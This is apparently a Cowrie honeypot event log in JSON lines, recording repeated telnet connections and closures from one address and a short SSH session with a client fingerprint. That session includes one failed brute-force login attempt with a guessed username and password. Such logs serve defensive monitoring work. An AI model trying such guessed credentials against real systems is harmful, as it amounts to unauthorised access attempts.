{"eventid":"cowrie.session.closed","duration":30.635756969451904,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:47.493663Z","src_ip":"198.50.122.223","session":"7db12fc40207","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56910014152527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:47.500971Z","src_ip":"198.50.122.223","session":"83ea290bdee2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42056,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e8b2a04c9d9","protocol":"telnet","message":"New connection: 198.50.122.223:42056 (10.17.0.5:23) [session: 0e8b2a04c9d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:47.591408Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42054,"dst_ip":"10.17.0.5","dst_port":23,"session":"493efac25efb","protocol":"telnet","message":"New connection: 198.50.122.223:42054 (10.17.0.5:23) [session: 493efac25efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:47.596449Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42900,"dst_ip":"10.17.0.5","dst_port":23,"session":"65f262833ac9","protocol":"telnet","message":"New connection: 198.50.122.223:42900 (10.17.0.5:23) [session: 65f262833ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:47.679034Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52674,"dst_ip":"10.17.0.5","dst_port":23,"session":"99c787e2f3b9","protocol":"telnet","message":"New connection: 198.50.122.223:52674 (10.17.0.5:23) [session: 99c787e2f3b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:47.877375Z"}
{"eventid":"cowrie.session.closed","duration":0.008743762969970703,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:47.886017Z","src_ip":"198.50.122.223","session":"99c787e2f3b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.386383295059204,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:47.936782Z","src_ip":"198.50.122.223","session":"468e5fc70052","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26927161216736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:47.944620Z","src_ip":"198.50.122.223","session":"9c7643f59b4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.123497009277344,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:48.433060Z","src_ip":"198.50.122.223","session":"d5f18027658a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.519115686416626,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:48.872322Z","src_ip":"198.50.122.223","session":"b3eb3816c460","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":50448,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c37e96d000c","protocol":"telnet","message":"New connection: 198.50.122.223:50448 (10.17.0.5:23) [session: 1c37e96d000c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:49.117436Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51384,"dst_ip":"10.17.0.5","dst_port":23,"session":"48a537e10929","protocol":"telnet","message":"New connection: 198.50.122.223:51384 (10.17.0.5:23) [session: 48a537e10929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:49.351860Z"}
{"eventid":"cowrie.session.closed","duration":30.998257637023926,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:49.362692Z","src_ip":"198.50.122.223","session":"d8ec522e2928","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":46568,"dst_ip":"10.17.0.5","dst_port":23,"session":"006ba2854b9b","protocol":"telnet","message":"New connection: 198.50.122.223:46568 (10.17.0.5:23) [session: 006ba2854b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:49.456539Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52290,"dst_ip":"10.17.0.5","dst_port":23,"session":"de2884f78c07","protocol":"telnet","message":"New connection: 198.50.122.223:52290 (10.17.0.5:23) [session: de2884f78c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:49.574931Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":43680,"dst_ip":"10.17.0.5","dst_port":23,"session":"b720baa20dc6","protocol":"telnet","message":"New connection: 198.50.122.223:43680 (10.17.0.5:23) [session: b720baa20dc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:49.836529Z"}
{"eventid":"cowrie.session.closed","duration":31.63938069343567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:49.967823Z","src_ip":"198.50.122.223","session":"41d6f08ade72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51524,"dst_ip":"10.17.0.5","dst_port":23,"session":"67996e080b0b","protocol":"telnet","message":"New connection: 198.50.122.223:51524 (10.17.0.5:23) [session: 67996e080b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:50.412703Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57884,"dst_ip":"10.17.0.5","dst_port":23,"session":"905eab080f12","protocol":"telnet","message":"New connection: 198.50.122.223:57884 (10.17.0.5:23) [session: 905eab080f12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:50.444759Z"}
{"eventid":"cowrie.session.closed","duration":31.486822605133057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:50.571112Z","src_ip":"198.50.122.223","session":"63d1693deec0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.254021644592285,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:50.586925Z","src_ip":"198.50.122.223","session":"6579e45b07dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53512,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a02ddf3a8bc","protocol":"telnet","message":"New connection: 198.50.122.223:53512 (10.17.0.5:23) [session: 4a02ddf3a8bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:50.732589Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":60274,"dst_ip":"10.17.0.5","dst_port":23,"session":"db542ea6182c","protocol":"telnet","message":"New connection: 198.50.122.223:60274 (10.17.0.5:23) [session: db542ea6182c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:51.166632Z"}
{"eventid":"cowrie.session.closed","duration":30.666759729385376,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:51.371602Z","src_ip":"198.50.122.223","session":"1730ed67ce9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90385389328003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:51.486891Z","src_ip":"198.50.122.223","session":"6dbcd058b419","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.68126630783081,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:51.524637Z","src_ip":"198.50.122.223","session":"0fe8e66f089f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.434447050094604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:51.691138Z","src_ip":"198.50.122.223","session":"3ff695a27c28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36336,"dst_ip":"10.17.0.5","dst_port":23,"session":"30490010f53d","protocol":"telnet","message":"New connection: 198.50.122.223:36336 (10.17.0.5:23) [session: 30490010f53d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:51.981792Z"}
{"eventid":"cowrie.session.closed","duration":30.526792526245117,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:52.196883Z","src_ip":"198.50.122.223","session":"9ea911e6a388","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09922480583191,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:52.411944Z","src_ip":"198.50.122.223","session":"cf2142597fb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.244277238845825,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:52.498081Z","src_ip":"198.50.122.223","session":"2d1162a14370","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.158928394317627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:52.607887Z","src_ip":"198.50.122.223","session":"6c46e926a00c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.621296167373657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:52.849151Z","src_ip":"198.50.122.223","session":"a9673ea6d1c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41462,"dst_ip":"10.17.0.5","dst_port":23,"session":"25c78a5c5e8d","protocol":"telnet","message":"New connection: 198.50.122.223:41462 (10.17.0.5:23) [session: 25c78a5c5e8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:53.029762Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41800,"dst_ip":"10.17.0.5","dst_port":23,"session":"67d068a90370","protocol":"telnet","message":"New connection: 198.50.122.223:41800 (10.17.0.5:23) [session: 67d068a90370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:53.200208Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41820,"dst_ip":"10.17.0.5","dst_port":23,"session":"36ca7590a479","protocol":"telnet","message":"New connection: 198.50.122.223:41820 (10.17.0.5:23) [session: 36ca7590a479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:53.206115Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56318,"dst_ip":"10.17.0.5","dst_port":23,"session":"3afbc9d709e2","protocol":"telnet","message":"New connection: 198.50.122.223:56318 (10.17.0.5:23) [session: 3afbc9d709e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:53.419908Z"}
{"eventid":"cowrie.session.closed","duration":31.070831060409546,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:53.448133Z","src_ip":"198.50.122.223","session":"e87544b3ff44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38454,"dst_ip":"10.17.0.5","dst_port":23,"session":"251aded2af58","protocol":"telnet","message":"New connection: 198.50.122.223:38454 (10.17.0.5:23) [session: 251aded2af58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:53.515420Z"}
{"eventid":"cowrie.session.closed","duration":31.13512945175171,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:53.618423Z","src_ip":"198.50.122.223","session":"c750b7f85838","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.625065326690674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:53.841557Z","src_ip":"198.50.122.223","session":"b6b44c0ef9a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":45526,"dst_ip":"10.17.0.5","dst_port":23,"session":"8509d1ff7d3e","protocol":"telnet","message":"New connection: 198.50.122.223:45526 (10.17.0.5:23) [session: 8509d1ff7d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:53.866400Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":46394,"dst_ip":"10.17.0.5","dst_port":23,"session":"d300c0dc031b","protocol":"telnet","message":"New connection: 198.50.122.223:46394 (10.17.0.5:23) [session: d300c0dc031b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:54.067494Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59971,"dst_ip":"10.17.0.5","dst_port":23,"session":"7379acc2cffa","protocol":"telnet","message":"New connection: 198.50.122.223:59971 (10.17.0.5:23) [session: 7379acc2cffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:54.071852Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":46506,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf547eedcbb7","protocol":"telnet","message":"New connection: 198.50.122.223:46506 (10.17.0.5:23) [session: bf547eedcbb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:54.134064Z"}
{"eventid":"cowrie.session.closed","duration":31.022310256958008,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:54.522472Z","src_ip":"198.50.122.223","session":"764916fa5c0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48054,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf35bfab9d84","protocol":"telnet","message":"New connection: 198.50.122.223:48054 (10.17.0.5:23) [session: bf35bfab9d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:54.528127Z"}
{"eventid":"cowrie.session.closed","duration":30.081329345703125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:55.035581Z","src_ip":"198.50.122.223","session":"95213d870838","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39772319793701,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:55.190903Z","src_ip":"198.50.122.223","session":"89c553e38f47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.050516843795776,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:55.236341Z","src_ip":"198.50.122.223","session":"c0ef775f517c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51796,"dst_ip":"10.17.0.5","dst_port":23,"session":"5da35763cb3a","protocol":"telnet","message":"New connection: 198.50.122.223:51796 (10.17.0.5:23) [session: 5da35763cb3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:55.345946Z"}
{"eventid":"cowrie.session.closed","duration":31.15073871612549,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:55.404944Z","src_ip":"198.50.122.223","session":"92b89a9f254b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38352,"dst_ip":"10.17.0.5","dst_port":23,"session":"b86bbecfe578","protocol":"telnet","message":"New connection: 198.50.122.223:38352 (10.17.0.5:23) [session: b86bbecfe578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:55.503464Z"}
{"eventid":"cowrie.session.closed","duration":30.897567987442017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:55.518198Z","src_ip":"198.50.122.223","session":"59c2f71583b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54102,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7af41dc418f","protocol":"telnet","message":"New connection: 198.50.122.223:54102 (10.17.0.5:23) [session: c7af41dc418f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:55.688125Z"}
{"eventid":"cowrie.session.closed","duration":31.753786087036133,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:55.813636Z","src_ip":"198.50.122.223","session":"9e119a0ac8f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":35532,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c41d0699119","protocol":"ssh","message":"New connection: 69.6.221.248:35532 (159.203.135.109:22) [session: 3c41d0699119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:55.970827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:55.976640Z","src_ip":"69.6.221.248","session":"3c41d0699119","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:56.090263Z","src_ip":"69.6.221.248","session":"3c41d0699119","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa111111","message":"login attempt [ubuntu/Aa111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:56.589499Z","src_ip":"69.6.221.248","session":"3c41d0699119","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33830,"dst_ip":"10.17.0.5","dst_port":23,"session":"993a8b8ee60e","protocol":"telnet","message":"New connection: 198.50.122.223:33830 (10.17.0.5:23) [session: 993a8b8ee60e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:57.381159Z"}
{"eventid":"cowrie.session.closed","duration":30.87053608894348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:57.398110Z","src_ip":"198.50.122.223","session":"81fa3ff1f45f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34094,"dst_ip":"10.17.0.5","dst_port":23,"session":"6697e75f02a8","protocol":"telnet","message":"New connection: 198.50.122.223:34094 (10.17.0.5:23) [session: 6697e75f02a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:57.430379Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34506,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc3aeb76ed64","protocol":"telnet","message":"New connection: 198.50.122.223:34506 (10.17.0.5:23) [session: fc3aeb76ed64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:57.507548Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:57.705417Z","src_ip":"69.6.221.248","session":"3c41d0699119","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.871785163879395,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:57.896298Z","src_ip":"198.50.122.223","session":"d58265173bf9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.822957754135132,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:57.920866Z","src_ip":"198.50.122.223","session":"15daefafe3c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93414616584778,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:58.069588Z","src_ip":"198.50.122.223","session":"98ed4ba3347c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":42296,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ec916ab76b1","protocol":"telnet","message":"New connection: 185.26.126.47:42296 (159.203.135.109:23) [session: 9ec916ab76b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:58.120016Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38192,"dst_ip":"10.17.0.5","dst_port":23,"session":"9be868602ed2","protocol":"telnet","message":"New connection: 198.50.122.223:38192 (10.17.0.5:23) [session: 9be868602ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:58.295890Z"}
{"eventid":"cowrie.session.closed","duration":30.53879404067993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:58.525790Z","src_ip":"198.50.122.223","session":"ec97a0fb34e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":43712,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f38f3bf5d8c","protocol":"telnet","message":"New connection: 198.50.122.223:43712 (10.17.0.5:23) [session: 8f38f3bf5d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:59.463058Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":44554,"dst_ip":"10.17.0.5","dst_port":23,"session":"34bb2c1ec50f","protocol":"telnet","message":"New connection: 198.50.122.223:44554 (10.17.0.5:23) [session: 34bb2c1ec50f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:59.640763Z"}
{"eventid":"cowrie.session.closed","duration":30.78662347793579,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:00.207159Z","src_ip":"198.50.122.223","session":"c312f079e73a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.882023572921753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:00.241072Z","src_ip":"198.50.122.223","session":"ddb79daf5a77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03654956817627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:00.281603Z","src_ip":"198.50.122.223","session":"54f91f587b9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97180485725403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:00.338536Z","src_ip":"198.50.122.223","session":"93b2f9259c4a","protocol":"telnet"}
